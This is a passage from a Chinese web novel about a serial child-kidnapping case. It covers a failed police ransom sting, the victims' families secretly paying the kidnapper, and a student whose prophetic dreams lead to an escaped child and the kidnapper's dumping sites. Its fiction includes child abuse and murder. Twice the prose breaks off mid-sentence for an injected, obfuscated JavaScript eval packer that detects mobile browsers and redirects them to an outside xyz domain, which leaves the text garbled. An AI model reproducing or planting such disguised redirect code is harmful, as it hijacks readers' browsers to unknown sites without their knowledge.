距离最近的七八名便衣,瞅准时机立刻冲了过来,一拥而上。 “不许动!你被逮捕了!” “举起手来,你落网了!” 一时间广场除了封锁组,所有便衣立刻赶到,将那个惊慌失措的中年男人锁住、掼倒、反剪双手压在地下。他们警方早已布置了天罗地网,这一次出动的全是精锐,这还拿不住你? 一套流程很标准又赏心悦目的擒拿,阳光之下,一道银色亮光闪过,手铐也结结实实将人锁住。 男人控制不住一声惨叫,他在地上打滚,让远远走来的秦居烈蓦地眯起眼睛。 第一时间就意识到,他们被骗了—— 对方不是9.26大案的凶手。 手提箱还在脚下,里面不是假-钞,是真钞,一路在警方的严防死守之下,没有可能被调包,更不可能被瞒天过海地转移。 钱在这里。 除非对方反悔了,不想要钱想撕票,否则…… 陆博怔怔,脸色煞白,整个人瘫软在地。 蒋飞喘着气跑过来,身上一股煎饼果子气味,安慰他:“陆先生没事了,我们将人抓到了,等我们带回局里审问,您的小孩一定会平安无事的。” “没抓到。” “嗯?” “人撤了,别惊扰游客,这次行动失败了。”秦居烈闭上眼睛,强行压制内心灼烧的怒火。 这是一场彻头彻尾的惨败。 他们警方布下了重重天罗地网,结果被凶手戏弄了,抓到了一个被丢出来的棋子。这个结果如同一拳打在他身上。 那个凶手如毒蛇一般潜伏在暗处,运筹帷幄,算计了一切人心。 所有人安静下来,脸上闪过一丝错愕。 “怎么会,我们明明抓到人了啊?” 齐翎一脸茫然,他抬头,看到了蒋飞脸上同样的茫然。如果警方抓到的这个人不是凶手,那他是谁? 回去的路上,警车开道,凝重的气氛令人窒息。齐翎浑浑噩噩,脑中一团浆糊,这次行动扑空了……又是怎么扑空的?绑匪难道不要钱了吗?这不可能啊。种种疑问涌上心头。 直到回了局里,他看到三家家属哭得跪倒在地,鼻涕眼泪不止说对不起时,他才意识到了真相。 这一次云霄广场,除了便衣,一些伪装成网红的媒体记者也混在其中,直播这一场从强势开始到匆匆结束的抓捕行动。 他们的标题出炉了:【天罗地网中,一亿赎金绑架犯远走高飞!】 15. 第十五章 “你们和绑匪私下达成了协议?”秦居烈一针见血。 绑匪不可能不要钱,除非一个可能,在一千五百万美金到手之前,他已经拿到钱了——这场惊天动地的行动,很可能只是一场绑匪和家属的做戏,家属默不作声,唯有警方被蒙在鼓里,落了一个稀里糊涂惨败的结局。 “警察同志,对不起,我们真的有苦衷……”三家人捶胸顿足,口里是真心实意的道歉,甚至有人撕心裂肺地哭喊,最后哭得晕倒。 “你们……”齐翎最无法接受,大批警力撤出陆家后,留守的两名警察,其中之一就是他和一名老警察,谈判专家周克夜协同。 他们耐心安慰受害者家属,拍着胸脯保证,一定会把凶手抓到。 受害者家属也点头,说相信他们。这三天相处,齐翎自以为警民相处融洽、心心相印了,竟会出现这样一遭。 “为什么……” 这简直是一场背叛,小新人遭遇到了重大打击。 正如那句话,“我从没怀疑过承诺那一刻的真诚,可人性竟是如此地幽深复杂。”① 他从没怀疑过,陆先生在协助他们时的真诚,和事后痛哭流涕的强烈愧疚,难道人性啊,就是那般复杂。 三家家属老实交代。 “我报警的那一刻就后悔了,绑匪一定会撕票!”何家人首先说,而他们正是第一对向指挥中心报警的父母。 齐翎脸色一变,原来从一开始,受害者家属的心就已经摇摆不定了吗?“你们难道不知道,不报警,绑匪也会撕票?” 这一点三家人明明知道,可态度为什么大变了呢? 性格真诚的小警察敏锐地抓到了疑点:“这三天你们发生了什么?” 时间回到三日前,鹭湖花园,漆黑的夜色无边,如同一个魔鬼降临人世。 三家人躺在床上,他们收到了一封寄信人未知的短信和电脑跨国邮件,在这种敏感的时间点,公司里不会有不长眼的人半夜三更拿事务打扰他们…… 他们鬼使神差地打开了邮件,附件是一段视频。视频里背景十分黑暗脏乱,一个瘦弱的小男孩,双手紧紧抱着膝盖,脊背拱起呈现自我保护的姿态。一张脸上,濡湿的睫毛全是眼泪,小嘴死死咬着没有泄露痛呼。短袖T恤已经很脏了,白皙手臂上青紫交错,脚上也有镣铐。 所有家长如遭晴天霹雳。 绑匪的手段竟如此凶猛残酷。 之前隔着电话,他们只能想象孩子遇到了什么,看见画面,才感受到一阵阵山呼海啸般的冲击。何家老太爷七十高龄,本就有高风险的心脏病,看见孙子被虐待的画面,大半夜差点紧急送医。 第二天晚上、第三天晚上,又是同样的神秘邮件,虐待升级了,孩子遍体鳞伤,还附上一句话,“如果想孩子平安无事,你们知道怎么做。” 家属们心如刀绞,哭得几欲晕厥。 绑匪想做什么,三家人心知肚明。 但他们的软肋被戳中了。 他们不敢赌,哪怕只有1%的可能性,为人父母也能自我欺骗,“万一绑匪真有良心,真的只要钱,钱到手了,孩子就回来了。” 无欲无求之人,比有需求的人可怕。绑匪只是要钱,满足他的胃口,孩子能平安无事就好了。 他们反反复复地想,9.26吕嘉乐案和9.28花年年案的恐怖之处,仿佛被他们有意无意地遗忘了。 在大多时候,前两起受害者的死状还刊登在报纸上,他们能想起来,手脚也发冷,认为绑匪就是一条彻头彻尾的毒蛇,不可全信。可也是绑匪的阴险之处—— 前两起命案,凶手不是为了发泄,而是一种铺垫警告,隔山敲虎,精准地击中了他们的内心——你们如果不按我说的做,吕嘉乐和花年年的下场,就是这三个孩子未来的下场。 你想孩子死得屈辱,还是赌孩子有回来的可能性,自己选吧。 妥协也就一瞬间的事了。 意志再坚定之人,也会在这三封邮件的刺激中,败下阵来。 谁又能想到,绑匪那么高调的要求高额赎金,要美金,要不连号的钞票,要选在一个人流如织的地方见面,这些全是障眼法。 想到己方布下了天罗地网,绑架犯跟家属却暗通曲款达成合作,让一番警力扑了个空,秦居烈内心灼烧的怒火就平息不下来。 好一个明修栈道暗渡陈仓! 他们不能对受害者家属发火,毕竟精心设计一切诡计的是绑匪。而警方也有失误,他们一心只想缉凶,忽略了受害者家属的心情。 秦居烈沉默:“你们给了他多少?” 陆家人流下眼泪:“两个亿。” 警局所有人倒吸了一口凉气,有人头撞到了门,有人失手打翻了水杯,“多少?两个亿!?” “每家两个亿,总共六个亿,分批次不动声色,打向一个海外账户。” 所有人脸色难看,没想到绑匪的胃口远比他们想象中大,大得几乎要捅破天!每家五百万美金竟只是一个开始!一个亿已经骇人听闻,六个亿的赎金,更是要创纪录了!传出去一定会掀起轩然大波,这么多赎金交出去,竟只为了去赌一个存活的可能性! 他们该说什么好呢? 可怜天下父母心?还是助纣为虐,养大了绑匪的胃口? 齐翎也快疯了,绑匪警告的邮件和六个亿赎金的交易,全部都发生在陆宅,从白天到黑夜,每一笔数字资金都在他看不到的地方汇往海外。 而三天他竟一点也没发现不对劲! “警察同志,我们不敢赌啊!小宝他在视频里一直哭,哭得那么凄厉。再不给钱,他会死的……” “柯柯是我的心肝肉,绑匪虐待他,让他跪在地上吃饭,他嗓子不对劲,好像给下药了,那猫崽般细弱的声音,每一次都像挖肉一般,我恨不得替他受折磨,替他去死。” “吕嘉乐案我们知道,可……万一呢。” 说一千道一万,只有那句话——“万一呢。” 每个人都希望小概率事件降临在自己头上,比如绑匪良心发现,比如血亲平安归来。 人性的弱点和那一丝侥幸,真的是被对方掌控在手中,拿捏得死死的。 这是一场多么精彩的表演啊,凶手以两条人命、六亿赎金将警方耍得团团转,踩在警方之上,成就了自己赫赫威名。 这盘棋中,恐怕唯有凶手是俯视角,所有人都是棋子,棋子要落在哪里,都在凶手的掌控之中。 蒋飞听不下去了,他转身离开,去了吸烟室,颤颤巍巍地从口袋里掏出华子,一根接着一根抽,很快脚下一片烟蒂。 没人说他,后来陆陆续续有人走过来,一脸疲惫道:“飞啊,给我一根。” 一包几十块钱的便宜烟,就这样你一根我一根分得干干净净。 都说男儿有泪不轻弹。 雾气缭绕间,好似有人抽烟抽着抽着,想到自己这段时间的奔波劳累,竟受不住地红了眼眶。其他人没红,只是心情如生吞了十斤黄连,满脸苦涩。 另一边,回了警局,那名云霄广场出现的可疑中年男人,第一时间移交刑警队。 男人一进审讯室,吓得魂飞魄散,立刻一五一十交代了,他果然不是9.26大案凶手,只是一名普普通通的雇佣人员。 男人说:“有人雇佣我,说去云霄广场,在那里取家里亲戚给他的土特产。”还没说完,男人坐在忏悔椅上痛哭流涕,说自己并不知情。 银色手铐稍微束缚住他的双手,他依然能自如地做擦眼泪、抱头忏悔的一切动作。 审讯的警察一听都要笑了。 “你说不知情,你说笑呢!谎话也不编得圆滑点,老实交代,把你和他之间的所有交易通通说出来,给自己争取一个戴罪立功的机会,否则他是板上钉钉的主犯,你一个从犯的罪名跑不掉。” 男人脸色一变,双手发颤,警方怎么知道的,明明他的说辞没有纰漏,他在夜里倒背如流。 进审讯室之前,也在内心演练过几回,有时候脑海里几个瞬间,几乎把自己骗过去了。 谎话说得多了,他也相信,自己是一个毫不知情、真正无辜的可怜人。 他用婆娑泪眼注视着警方,妄想能打动对方,让对方相信自己的表演,可惜失败了。 戴罪立功这四个字,他也想要。 可那个男人隐于网络之后,他真的不知道对方身份。 “事到临头了,别死鸭子嘴硬,你们是怎么沟通的?” “你为什么会上这艘船?” 良久,男人动了一下嘴唇。 片刻后,审讯室的门被打开,一名警察拿着一份笔录出来了,朝秦队摇了摇头。其他人一看就明白了,面露失望。 秦居烈翻了一下笔录,眉宇轻锁,这份笔录详实,前因后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14639428|156349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果不过一句话“人为财死鸟为食亡”。 这个男人不过是被丢到舞台前的傀儡,一个替罪羔羊,给了一笔定金,又被许诺熬到几年出狱,等着打钱。 反观绑匪这一头,钱到手了,替罪羔羊找好了,聪明如他,犯下这起惊天大案后,不可能再出现了。 功成身退后,注定要远走高飞。 而警方这里除了一个海外加密户头,线索全断了,被三家父母亲手斩断的。 糟糕的事情还在后面。 这一次受害者家属背刺警方的新闻很快上了热搜,六亿赎金这个数字一出,一石激起千层浪,消息比病毒传播速度还要快,一夜之间,全市都传遍了。 好事不出门,坏事传千里,闻讯而来的媒体记者,将江州市警局围得水泄不通。如果不是安保人员训练有素,将人拦在外边,恐怕不得安宁。 偶尔几只漏网之鱼,冲破防线跑过来,出口第一句话高举着麦克风:“请问你们市局什么时候召开案情发布会,警方本次行动出现重大失误,有没有人因此要承担责任?人还抓得到吗?” 一开口就是诛心之语。 张局长急火攻心,差点喷出一口血。 去年市局端了几百个诈骗窝点,立下大功,来的媒体就小猫三两只,今年失了一次误,来的媒体却有上百家,这也太过火了吧! 更别说他手下人一个个兢兢业业,没有人不卖力缉凶,绑架犯阴险狡诈,家属优柔寡断,怎么能全怪他们? 可惜事已至此,总得有一个人站出来。 张局长抹了把脸,发出一声挫败的长叹。 “凶手我们从未放弃,一定追查到底……案情发布会……两日后……”说出这话极其艰难,到时候,警方会公布迄今为止的所有案件细节,还要公开检讨自己的过失。届时会有上百家媒体记者出席,官媒会到场,替他公正说话,其他媒体就算了。 应付完媒体。 两名警察面露悲痛地问自家局长,“张局,你真的要上台啊?” “肯定要。” 除非两日后,案情引来转机,否则他肯定要上台,这两天他必须准备好发言稿纸。 警局外,家属还在痴痴地守候,为了一句不知真假的承诺。 绑匪之前跟他们说:“我知道你们报警了,按照我的话做,除非你们想看到孩子的尸体。” “钱到手后,三天后,我会放了孩子。” 晚夜的风吹拂着他们泪痕干透的脸,他们凝视天边,那名绑匪却好似消失在了地平线那头。 没有人知道,在世界线没有变动的未来,残酷的现实会淋漓尽致的上演,受害者家属等绑匪这句会放人的承诺,等了十年—— 从满心期待,等到整颗心枯萎。 最终不得不承认,他们被骗了。 绑匪并没有照做,对方直接裹挟巨款远走高飞了!对方一走了之了!留给受害者家属是无尽的凄凉与绝望。 更糟糕的事情还在后边,绑匪远走高飞的十年后,突然又一次卷土重来。 一个冷酷精明的绑架犯,为什么会卷土重来? 自然是有利可图。 他用邮件联系了三家受害者,说再汇五百万,他可以告知孩子的埋尸地。可以说凶手贪心不足蛇吞象,也可以说他把握人性上堪称一绝,这是杀人还要诛心,榨干每一点剩余价值。 那些年迈的家属们含着热泪答应了。 十年了,足够他们接受孩子死亡的事实,平复逝去的伤痛,开始追求“落叶归根”。 总不能让孩子曝尸荒野,起码找到尸骨,安葬在山清水秀的墓园里。 他们同意了要求。 也得到了三个地址。 绑匪得到了自己想要的东西,此后真正下落不明,成了一桩彻彻底底的悬案。 又过了数年,这起连环儿童绑架案被许多导演改编成了电影,搬上了荧幕,导演在接受公开采访时还一度表态:“我希望自己合眼前,能看到9.26大案和六亿赎金绑架案的凶手能够落网。” 可惜终身没能看到。 江雪律默然,以上都是他看到的血色未来。 他还看到了一本日记,是一个男人写给儿子的临终回忆录,开篇便是一手钢笔字,“小杰,你还记得十八年前的‘六亿赎金绑架案’吗?” “哦我忘记了,你那个时候才五岁呢……” 16. 第十六章 这些闪回画面中的未来场景,像电影一般在江雪律睡梦时播放着。 “五岁的你可能还不懂吧。” “当时那件事闹得很大,轰动了全国,爸爸从来没有什么秘密瞒着你,除了这件事……你可能疑惑过,咱们家为什么能积攒下不菲的财富,能够创业、搬入豪宅,在你崇拜的眼里,爸爸我一直无所不能,是凭本事挣下了这笔钱。” “如今,爸爸老了,要告诉你一些真相。” “你是那么善良,爸爸一直没告诉你的原因,是担心你无法接受。” “爸爸我啊,就是十八年前‘六亿赎金’抢劫案的真凶……午夜梦回时,爸爸也曾后悔过,当年那五个孩子如果活下来,年龄都跟你差不多大,可惜事情没有如果,为了让你幸福,牺牲掉五个孩子是有必要的。” “这些年,我一直烧香拜佛、热衷慈善,想过一些赎罪的办法,试图弥补一二。” “以上这些都是爸爸心中尘封已久的秘密,爸爸爱你,希望你看完后,能把这本日记烧了。” 江雪律看到,一名年轻人坐在床上,翻完了这本日记,随后…… 这名“善良的”年轻人,没有选择报警,静立良久,他选择烧掉了这本日记。 当年的事情他确实没有参与。 但—— 他早已经不是不谙世事的孩童了,他是一名成年人,他会做出最合适的选择,他选择——替父亲隐瞒下了这个惊天秘密。 随着火焰烧毁了纸页,化为黑雾,一种交接在隐秘无声中进行。年轻人默不作声,在父亲死后,继承了这笔沾满无数孩童鲜血的遗产。 这案件彻底成了华国的一桩悬案 看完这一幕,火焰在跳动,似乎能灼烧旁人的眼皮。 江雪律缓缓回神,这一段父子温情互相付出的画面令他心生厌恶。 这本日记回忆录是十八年后的事了? 如果他看到的东西不是虚幻,而是现实——那这种未来还是别发生了! 自从上次在面馆看到报纸后,江雪律就在手机里下载了几款软件,“天天新闻”、“每日头条”、“最强资讯”、“带你开眼看世界”等,从一个埋头做题、两耳不闻窗外事的好学生,变成了一个埋头做题,顺便关心时事的好学生。 他点入其中一个软件,恰好看到了新闻推送:震惊!一亿变六亿,六亿赎金绑架案打破纪录。 点进去,内容全都是在描述这起案件,重点全是在描述赎金多么骇人。最后提一句,罪犯尚未落网。 第二则新闻,是江州市警局的官方文章,说希望广大市民能积极提供线索,并披露了两起命案的发生地,希望有目击证人能勇敢地站出来。 江雪律的目光到这里就停了,他的内心坚定了。 他没有往下翻,也就自然没看到下面一句。 “公安机关将对提供有用线索者一次奖励20万元!这些线索包括但不限于:凶手本人特征、事发车牌号、凶手出没地和住址……上限最高可得100万元。Ps:受害者家属对线索提供者的感激报酬,不占用公安机关的奖励限额。” 一百万啊! 对六个亿赎金可能是小巫见大巫,可在江州市非浣花区,也是一套房子的首付了。 这是奖励性质的报酬,到手并不需要扣税。 更别提受害者家属,前两起案子吕嘉乐和花年年家都是有钱人家,何、陆、杨三家更是江州市富豪,这些富豪爱子如命,很可能给线索提供者一大笔钱。 这笔钱跟警局给的奖励是分开来算的! 重赏之下必有勇夫,评论区人人都想得到重赏,奈何他们也真的不知道线索,只能含泪错过这笔钱。 江雪律不知道有奖励这回事,就算知道了,他也不需要这笔钱。 他暂时还无法解释,自己是怎么知道这些事,梦境之说太过匪夷所思。 —— 浣花区,鹭湖花园。 “啊啊啊啊烦死了,这些警察和记者什么时候走啊?早知道我去深山老林看星星好了!” 一名少年倏地拉上了窗帘,隔绝掉一切视线。此人正是封阳,他本来打算趁着秋日前最后一波炎热,在露天泳池游泳,结果刚一跳水,就看到了黢黑的镜头,立刻拽过浴巾,如贞洁烈男一般把自己包裹严严实实,心里骂了一声草。 他臭着脸,转身进了别墅。 这些日子,警察和记者在附近进进出出,警察是为了调查案情,记者是为了头条和采访受害者家属,想知道与绑匪交易的过程多么紧张刺激,给出高额赎金的心路历程,也不管这番行为是不是伤口上洒盐。 鹭湖往年来的平静和格调被打破。封阳老不爽了,忍不住拍了一张照片,发到班级群里卖惨。 人山人海的记者确实壮观。 班级群里炸开一片,“哇好多记者!” “原来新闻里说的都是真的!” “封阳,受害者家属是你邻居,那你知道一些记者都不知道的事吗?” 班里六十个人,五十多个都炸出来了。 封阳一条条看下来,手指在屏幕上划着,没看到那个熟悉的头像,忍不住心里别别扭扭。甩了甩尚在滴水的头发,心里有点不是滋味:学霸果然很忙,连假期都在专心学习,不看手机的。 “专心学习”的学霸此刻正在换衣服,江雪律打开衣柜,换了一身薄款的黑色卫衣,找了一顶鸭舌帽扣在脑袋上,扯过口罩两条细细的带子,戴在脸上。 他照了照镜子。 确定只有一双眼睛露在外面,才出了门。他背后还有一个包,包里装了一套换洗的衣服、充电器和一幅画。 他下楼路过车棚,看到了自己那辆许久不骑的山地自行车。整洁美观的车棚里,自行车靠在角落里孤孤零零。 江雪律驻足了一秒,想了想还是出了小区,选择花大价钱打车。 他招了招手,在路边招来了一辆出租车,出租车师傅爽朗笑道:“小伙子去哪儿啊?” “去友佳超市。” 老司机懵了,“这是哪里?”一般人打车不都是说着常见建筑和知名坐标吗? “这里。”江雪律也不熟悉那个地方,只能拿出手机导航,在梦中,他看到这家超市,其余地方充满模糊。 司机看了眼弯弯曲曲的道路,“小伙子你确定要去,这费用可不便宜哦,打表起码要一百去了。” 一百块钱,他近一周的生活费。 父母双亡后,生活一直省吃俭用的少年,蹙了一下眉头,“去吧。” 这一路行驶过去,肉眼可见江州市扩展速度之快,城区变化,内城区光鲜亮丽,外城区有 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眼前的客人说话神神叨叨,看他表述清晰、语气又凝重的样子,不像是疯子啊? “如果真出现了,请一定要报警。那是一条人命。” 江雪律性格谨慎,梦境不一定是真实,万一一念之差或者发生什么意外,孩子没有过来……提前十七个小时报警,警方估计也不会当真。更何况梦境与现实的边缘充满模糊的,他至今没有足够的论据来证明,梦境一定会变成现实。 他看到的那处梦境里,何柯柯跑出来了,见到超市他蹒跚着双腿,爆发出求生的希望,结果正赶上超市员工埋头玩手机,他急得大哭,嗓子里却发不出一点声音,随后这一次落跑失败了。 如果……超市员工不当回事,江雪律也想了planB,他明天再来一趟远远蹲守。 这个顾客该不会是什么刚出院的精神病患者吧?说什么,一天后有被绑架的小孩子出逃。 超市员工失笑。 话是这么说,江雪律再三强调的话,还是在他心里落下了一点影子,让他这一天心神不宁,主动推迟了下班时间。第二天,他一如往常搬货卸货,结束后想拿出手机打发时间。游戏界面刚亮出的那一瞬间,他鬼使神差地,忽然想起那名顾客的话,忍不住就把监控九宫格打开。 时不时看上几眼。 手机也不敢玩了,界面也把110设为了紧急通话。 13:25分,超市店员越想越觉得自己荒谬,忍不住抹了一把脸,怎么会把一个神经病的话当真。果然是平淡无趣的生活过久了,来了一个精神病,都感觉生活起了一丝波澜。 13:45分,他心里渐渐弥漫起不以为意的嗤笑,随意地看了一眼监控,这一眼不得了。 他的眼睛直直地盯着右下角那豆腐块大小的监控,一个拖着腿走路的孩子摔倒了,那个孩子踉踉跄跄地走来,小手拍着超市玻璃门,神色十分急切哀求。 渐渐地,他又看清楚小孩哭的泪脸,震惊的心化为了略深的凝重,再看小孩后追着一个气急败坏的男人,粗鲁地拽着小孩的衣领,他心里咯噔一声。 他立刻抄起扫把冲了出去,同时拨打了电话。 “警察同志,我要报警!” 17. 第十七章 他跑出来了? 何柯柯浑身发颤,呼吸声急促,为了挣脱脚铐,他的皮肤磨损了,翻出一层肉。每一次抬腿都要用尽力气。 可他不能停。 他背后有人在追—— 事情回到几天前。 一群孩子在商量事。 包括家属、绑匪和警察在内,没人把三个弱势又饱受折磨的孩子当回事。可这三个被困在囚笼里的孩子也是人,他们七八岁的年纪,害怕的眼泪一收,背后也有不肯坐以待毙的勇气。 何柯柯在三人中年龄最大,他较为聪慧,决定一旦瞅到时机就会逃跑。他年龄最大,但他最瘦,绑匪的手铐脚镣是同一型号,不能调整,他这几日就在磨破自己手脚腕,将皮肉磨出血后,顺利挣脱出来。 只是走路难免一瘸一拐。 “我要逃出去。你们等我,我出去了一定报警。”即使他不知道这里是什么地方。 杨霖性格比较胆小,不赞同,也不反对,“我们爸妈已经给钱了,人无信不立,绑匪应该很快会放了我们。如果你中途被抓回来了……”如果失败了,会遭遇什么。 会遭遇绑匪最狂风暴雨的报复。 何柯柯沉默了一瞬,那也得跑啊。 他从来不相信,绑匪会放人。 他凝视自己的同伴:“你还记得,夏令营老师告诉我们什么?如果沦落到一个危险的地方,我们要团结起来,分工合作。” “我负责逃出去,我会用我的眼睛记录下沿途风景,你负责记……”说到这里,小孩子凑到同伴耳边。 “好。”杨霖点了点头。 何柯柯就这样逃出去了,他跑出去后才吃惊地发现,自己身处在一处茂林中,好似半山腰,情况比他想象中糟糕多了,这附近人烟稀少。他如无头苍蝇乱撞了一会儿视野才开阔,发现自己必须徒步跋涉两三公里,才能见到公路和田地。 求生的希望很远,但好歹近在眼前。 他一边跑,一边腿脚流血,跑得口干舌燥,四肢沉重随时能摔倒在地,他眼前终于出现了公路,还有一家超市。他大喜过望,可他忘记了,自己实在是饿得头晕眼花没力气,嗓子也哑了,无法喊救命,只能拼命拍着超市玻璃门。 里边的店员低头玩手机,根本没注意到他。 这时一道阴冷的声音传来:“你还真能跑。” 何柯柯惊恐地瞪大了眼睛。 这道声音唤醒他内心最深的恐惧。 他睫毛一颤颤落下泪来,他发现,他自己居然倒在距离求生最近的希望面前,只差一点点啊! 在原来的梦境中,羊羔被捂住嘴带走了。 这一刻,却有一个年轻男人抄起扫把冲了出来,破口大骂:“放开这孩子,你想做什么!?” 知道事不可为,男人啧了一声,压下帽子转身离开。何柯柯精神一懈,重重摔倒在地。偏偏在这时,男人还没放过他,他侧过脸,用极为温和的声音道。 “柯柯,你想不起我。” 这是一种高级心理暗示,潜意识把孩子最近受的折磨与人脸挂钩,如果想要强行回忆男人的样貌,潜意识会如海潮连动暗涌地想起那段黑暗时光,轻则神志不清,重则精神崩溃,非疯即傻。 明明没有威胁恐吓,口气也彬彬有礼,却胜过千言万语。 何柯柯果然尖叫一声,晕了过去。 超市店员不知所措,只能赶紧扶起孩子,任由那绑匪扬长而去。十五分钟后,警察和救护车同时到场。 —— 江雪律当天晚上没有回去。 他在外城区找了一家便宜的旅馆睡下,第二天起床,他去体育用品店买东西。 “我要那种摔下去也不会出事的垫子。” “便宜的一百,贵的弹性好加厚的三百。” 江雪律咬了咬牙,“要最好的!要两个!” 少年人踩着落叶,来到一处人烟稀少的地方,不动声色地做着布置,这是一场赛跑。绑匪手里还握着两条人命,不能打草惊蛇,稍有不慎就功亏一篑。 另一边,超市店员在语无伦次地给警察讲述事情的起因、经过、结果,那叫一个离奇曲折,负责笔录的警察都听傻了。 “你是说,有一个戴口罩和帽子的年轻顾客,昨天来告诉你,今天会有一个孩子跑出来?让你去救援?” 超市店员激动地点了点头。 他是一个很普通的男人,可当他抄起扫把冲出去时,他突然觉得自己是一个英雄。 “绑匪也戴帽子口罩,有没有可能是一场自导自演?”警察冷静地写下笔录。 “绝无可能!”超市店员矢口否认,昨天那顾客戴帽子和口罩虽遮住了大半张脸,可口罩勾勒出鼻梁和眼睛,他还是看得清清楚楚。 年轻人的面容。 与绑匪那种凶戾截然不同。 “有监控吗?我们比对一下。” —— 周霁回到住所。 这个地方阴暗潮湿鲜有人知,他握紧了手掌,何柯柯的顺利出逃在他意料之外,这种傀儡脱离掌控的滋味他很不喜欢,不过何柯柯的身体状态和精神状态很糟糕,精神暗示也下了,他也许不用太过紧张。 赎金到手了,他该解决的是剩下两个孩子。 恰在这时,他注意到了杨霖的目光。 那个处在中间的孩子蜷缩在黑暗中,像小动物一般怯怯看他。到底是小孩子,不会掩饰,那种明明十分害怕,却又认真小心翼翼的目光,逡巡在他的眉毛、鼻子和嘴唇。 在记他的相貌么……倒是很聪明。 周霁眉头猛跳,眼底杀意一闪即逝,很快又平静下来。 成年人感官敏锐,一个人的杀心掩饰不住。 儿童不经世事,暂时无法察觉。 听到自己父母承诺了给钱,绑匪也同意钱到手放人。剩下两个孩子皆松了口气,以为自己可以逃出生天了。 杨霖并不知道,索要巨额赎金又没有戴头套的绑匪,撕票可能性极大。 他压抑住恐惧,以几分钟抬头一次的频率,悄悄记住着绑匪的样貌。 对于一个七岁孩子而言,这种抬眸与逃跑一样,都极为需要勇气。 他在心里自我鼓励:我打小就是一个很胆小笨拙的人,是别人背后的跟屁虫。别人背东西,两三遍就能记住,我需要七遍、八遍甚至是十遍! 可我鼓起勇气多看绑匪几眼,就能把这张脸牢牢记在心底—— 绑匪眼中不起眼的蝼蚁,也有奋死一搏的决心。 平生最大的勇气莫过于此,可惜,在绑匪眼里,他没那个机会了。 最后一个孩子,陆小宝比较天真,他以为绑匪单纯要钱,于是电话里哭着喊着,“爸妈,他要多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14639430|156349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少,我们给他多少,他要五百万,我们给他一千万就是了!爸妈,我好害怕……” 他以为绑匪是贪得无厌的豺狼,满足胃口就行了。 留得青山在不愁没柴烧,等他成功回到家里了,一定让爸妈去把人抓住。 这三个孩子,无论是胆大、天真还是怯懦,没一个想当炮灰。 可最后都死了。 这一夜他们喝下了掺安眠药的水。 —— 抛尸最好的地点在哪里? 要么是悬崖下的深山老林,要么是一口无人的枯井,都十分偏僻荒凉,即使十年过去,化为森森白骨,也不会有人发现。 这口井是他精心挑选的,夏日雨水充沛,会升起绿水清萍,秋日无雨会干涸枯竭。 周霁心里知道。 他有点水的情结,吕嘉乐死于泥泞,还要是湿润的泥。花年年死于河流,仰望天地,河流为枕,死法是最唯美的。他决定,把这个孩子丢入井里。 这口井足足有数米深,一旦选择丢下去,不死也残。 江雪律看见。 男人把车停下,解开安全带,绕到后车厢。他似乎在安静端详着什么,又仿佛在欣赏自己的艺术品,随后他把昏睡中的一个孩子抱了出来。 最后他盖上了井口灰石板。 清晨的雾霭中,这口井好似通往另一个世界的入口,又似一座死寂的坟场。风呼呼吹过,随风飘摇的秋叶好似在奏响哀歌,男人耳边隐隐传来一声城市丧钟和孩子的哀求。 让这孩子如秋叶慢慢凋零,也是极美的一种死法。 男人满意地笑了。 片刻后,他驱车离开,江雪律才从一棵巨树后走了出来,缓缓吐出一口浊气。他没有轻举妄动,确定绑匪走后不会杀一个回马枪,他才下山用公共电话亭报了警。 —— 周霁手里还握有一名人质。 敢记他相貌,这个看似笨拙实则胆大的孩子,值得他最后动手,周霁想过掐死他,可两亿赎金值得他给对方一份体面。 他也给这孩子精心准备了一处与水有关的地点。 第三处地点,江雪律也是在梦中看到的。 他比绑匪晚几分钟到达那个地方。 梦境里,他只看到了井盖和幽长的地下通道。那个叫杨霖的孩子,被放在通道里,沼气侵蚀他的呼吸,四肢蜷缩脸庞苍白,身体僵硬毫无知觉,救我是他最后的呼喊。 江雪律不确定是哪一处,因为这里的井盖看起来都一个样子。直到他看见一条细不可察的拖行痕迹,延续到一处井盖,他才确定是这里。 梦与现实再度重合,如出一辙。 他再次用公共电话亭报了警。 事到如今,男人手里没有人质了。 想起那篇官方文章,江州市警局想知道绑匪的相貌、车牌号和出没地等,江雪律拉开书包,书包里有一幅A4纸画的肖像画,他找了个打印店复印几份,然后寄出去。上面附有车牌号、凶手住址等信息,他把自己看到什么,都事无巨细地写上。 写完后,江雪律合上笔帽,松了一口气。这一天他奔波在外,劳心劳力还花了不少钱。 他一个平平无奇的热心市民,只能帮助警方到这里了。希望他的线索,能派得上用场。 警方那里,这一连串的事发生,警方那里都要炸锅了。